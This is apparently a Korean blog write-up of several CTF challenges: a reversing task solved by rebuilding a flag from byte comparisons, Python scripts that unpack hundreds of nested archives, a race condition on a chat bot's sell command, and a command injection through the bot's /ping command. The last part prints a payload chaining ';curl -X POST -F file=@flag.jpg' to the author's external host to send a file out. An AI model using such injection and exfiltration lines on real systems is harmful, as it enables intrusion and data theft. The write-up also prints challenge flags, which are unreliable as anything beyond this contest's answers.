문제를 먼저 확인하고 x64인걸 확인 후, IDA 64로 까봤습니다.

파일을 확인해보면 다음과 같이 main 속에 있는 check 함수를 발견할 수 있습니다.

check 함수에서 처음에 if 문 안에 아무것도 없나 싶어서 넘어가려 했는데...

나중에서야 e() 함수를 발견하였습니다.


위에 저기 쳐져 있는 것 보이시죠.


옆에 있는 함수들이 보였는데, 여기에서 사용하였던 것이었습니다.

그러면 이제 저 함수로 차례차례 들어가 보면 다음과 같이 쭈욱 나옵니다.


마지막 함수는 a 함수이며, 각 함수에서는 a1이라는 char* 변수에 값을 비교하는 것을 볼 수 있습니다.

저 위에서 변수에 값을 비교하는 것을 보고, 각 순서대로 들어간 값이 무엇인지 알기위해 코드를 작성해보았습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
a1 = [0] * 19
 
a1[4] = 123
a1[12] = 51
a1[8] = 121
a1[13] = 114
a1[3] = 71
a1[11] = 118
a1[5] = 51
a1[14] = 53
a1[16] = 110
a1[10] = 51
a1[18] = 125
a1[6] = 97
a1[15] = 105
a1[9] = 114
a1[1] = 76
a1[7] = 53
a1[17] = 103
a1[2] = 65
#*a1 = 70
a1[0] = 70
 
 
string = ""
 
for a in a1:
    string += chr(a)
 
print("[+] String : %s" % string)
 
#[+] String : FLAG{3a5yr3v3r5ing}


file로 확인해보니 Zip파일인 걸 확인하고 압축을 풀어보려 했더니 아래와 같이 암호가 걸려 있었습니다.

혹시나 해서 이것저것 입력해봤지만, 잠깐의 게싱으로는 풀 수 없었습니다.

그러다가 혹시 암호화가 안 돼 있는데, 암호화 됐다고 하는 페이크인가 생각해봤는데

이것도 아니었습니다.


마지막으로 혹시나 해서 파일 이름으로 비밀번호를 입력해봤더니 풀렸습니다.

세상에...

코드 코드.....

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import tarfile
import zipfile
import os
 
def decompress_tar(filename, path):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall(path)
 
 
def decompress_zip(filename, password, path):
    print("FileName : ", filename)
    print("Password : ", password)
 
    with zipfile.ZipFile(filename) as zf:
        compressed_name = zf.namelist()[0]
        zf.extractall(path=path, pwd=password)
 
    return compressed_name
 
 
def file_rename(filename):
    reName = filename + ".zip"
    os.rename(filename, reName)
 
    return reName
 
Done = False
 
 
FileName        = "RWtm7A5f" # it is also password
 
while not Done:
    Password        = FileName.encode()
 
    #FileName        = file_rename(FileName)
    FileName        = decompress_zip(FileName, Password, './')
 
    print("FileName : %s" % FileName)
 
decompress_tar(FileName, './flag')


위와 같이 문제 파일을 풀어보면, flag 파일이 하나 튀어나오는데, 그 파일은 TAR로 되어 있어서 TAR로 풀어보았습니다.


그런데....

위와 같은 폴더로 가득한 압축파일인 것을 확인할 수 있었습니다.

여기서 답이 없다고 생각하고 다른 문제를 보고 있었는데, 팀원의 도움으로 풀 수 있었습니다.

125 폴더 이후에는 아무런 파일이 없고, 그 이전의 파일에는 숫자로 이루어진 데이터가 없는 파일들이 있었습니다.

위와 같이 하나씩 나타나 있는데, 저 폴더에 표시된 예시를 들어보면 chr(101) 을 한 값을 9번째에 넣어라, 라는 의미가 될 수 있습니다.

때문에 저기 표시된 폴더의 값을 chr로 바꿔주고 그걸 원하는 번째의 string으로 만들어주면 FLAG가 나타나게 됩니다.


FLAG{m4tr3shk4_a5c11}


무슨 파일인고 보니, TAR이기도 하고, Zip이기도 하고, bzip2, gzip 등... 정말 많습니다.

아무래도 저렇게 해서 txt파일을 매우 압축한 것 같습니다.



위와 같이 손으로 하는 건 문제가 있습니다....

이건 프로그래밍을 해야 할 문제 같았습니다.


문제는 POSIX tar, bzip2, XZ, gzip, Zip 으로 총 다섯 가지 방식으로 압축되어 있습니다.

Python의 모듈이 있는 것들만 있군요...


코드를 작성하여 문제 파일을 쭉 풀어보면 총 723회 압축되어 있었음을 알 수 있었습니다...(숫자를 잘못 세어서 720회 내외일 수 있습니다.)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/bin/python3
import bz2
import gzip
import tarfile
import zipfile
import lzma
import magic
import os
 
 
def decompress_bz2(filename):
    with open(filename, "rb") as file_rb:
        tmpData = file_rb.read()
 
    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(bz2.decompress(tmpData))
 
 
def decompress_gzip(filename):
    with gzip.open(filename, "rb") as gzip_rb:
        tmpData = gzip_rb.read()
 
    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)
 
 
def decompress_zip(filename):
    with zipfile.ZipFile(filename) as zip_decompress:
        zip_decompress.extractall()
 
 
def decompress_tar(filename):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall()
 
 
def decompress_xz(filename):
    with lzma.open(filename) as xz_decompress:
        tmpData = xz_decompress.read()
 
    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)
 
 
def find_compress_type(filename, cnt):
    ret = magic.from_file(filename)
 
    if "POSIX tar" in ret:
        return "tar"
    elif "bzip2" in ret:
        return "bz"
    elif "XZ compressed" in ret:
        return "xz"
    elif "gzip" in ret:
        return "gz"
    elif "Zip archive" in ret:
        return "zip"
    else:
        print("[-] ret : ", ret)
        return None
     
 
def file_rename(filename, compress_type, cnt):
    tmpFileName = "flag_%03d" % cnt
 
    os.rename(filename, tmpFileName + "." + compress_type)
 
    return tmpFileName + "." + compress_type
 
 
def decompress(filename, compress_type):
    if compress_type == "tar":
        decompress_tar(filename)
    elif compress_type == "bz":
        decompress_bz2(filename)
    elif compress_type == "xz":
        decompress_xz(filename)
    elif compress_type == "gz":
        decompress_gzip(filename)
    elif compress_type == "zip":
        decompress_zip(filename)
    else:
        print("[-] Error ")
        exit()
 
 
Done = False
cnt  = 0
 
while not Done:
    cnt            += 1
    FileName        = "flag.txt"
    compress_type   = find_compress_type(FileName, cnt)
    print("[=] Compress Type : %s" % compress_type)
 
    if compress_type == None:
        print("[+] None Done !")
        Done        = True
        break
 
    FileName        = file_rename(FileName, compress_type, cnt)
    print("[=] Rename Name   : %s" % FileName)
 
    decompress(FileName, compress_type)

압축을 쭉 풀어 txt파일을 보면 플래그가 튀어 나옵니다.


FLAG{matri0sha256}





문제를 풀기 전에 Facebook 짝퉁 사이트가 아닌가 하는 의심이 들었습니다.

그런데 러시아 판 Facebook이라고 해서 일단 정상적인 사이트로 판단하고 문제를 풀기 시작하였습니다.


/buy 4를 하게 되면 Flag를 알 수 있는 구조인 걸 확인하고 어떻게 하면 100보다 많은 balance를 가질 수 있을지 고민하다가, 레이스 컨디션을 시도해보았습니다. 아니나 다를까 /sell이 두 번 되고 balance가 200이 되도록 할 수 있었습니다.


물론 봇에 두 번 명령을 보내기 위해서는 다음과 같이 페이지를 두 개를 켜서 수행했습니다.

(복붙을 하면 명령어를 잘 먹지 않더군요....)



문제를 들어가기 전에 Login 하는 거에 굉장히 조심스러웠습니다.

vk.com이 제대로된 사이트인지 좀 더 검증하고 문제를 풀이하였습니다.

(물론 정상적인 러시아 버전 페이스북인 걸 알고 구글 계정을 연동하였습니다.)



메신저로 들어가 commands를 입력해서 여러 시도를 해보는 도중 /ping 이 있길래, 혹시 커맨드 인젝션이 되는지 테스트해보았습니다.

현재 CTF가 끝나고 명령이 되진 않지만, 위와 같이 했을 때 되는 것을 확인하였습니다.

처음에는 ls를 해보고자 했는데 띄어쓰기가 되는 값을 GET 뒤에 붙여서 전송되지는 않아, README.txt밖에 안 보였습니다.


그래서 find 명령어로 혹시 flag라는 녀석이 있는지 찾아보았습니다.

위와 같이 테스트해본 결과 여러 결과가 나왔는데, curl명령어로 GET으로 보내는 데에는 한계가 있어, POST 명령어로 전송해보았습니다.

flag.jpg위치는 바로 아래였던 것이 행운이었습니다.


/ping - ping 1.1.1.1;curl -X POST -F file=@flag.jpg http://kkamikoon.com:7777 


위의 명령을 받기 위해 아래와 같이 받았습니다.

근데 값을 받아보니 HTTP Header들도 좀 있어서 HxD로 제거해주고 온전한 이미지 파일로 받았습니다.

열어보니 아래와 같이 열려 플래그를 인증할 수 있었습니다.


+ Recent posts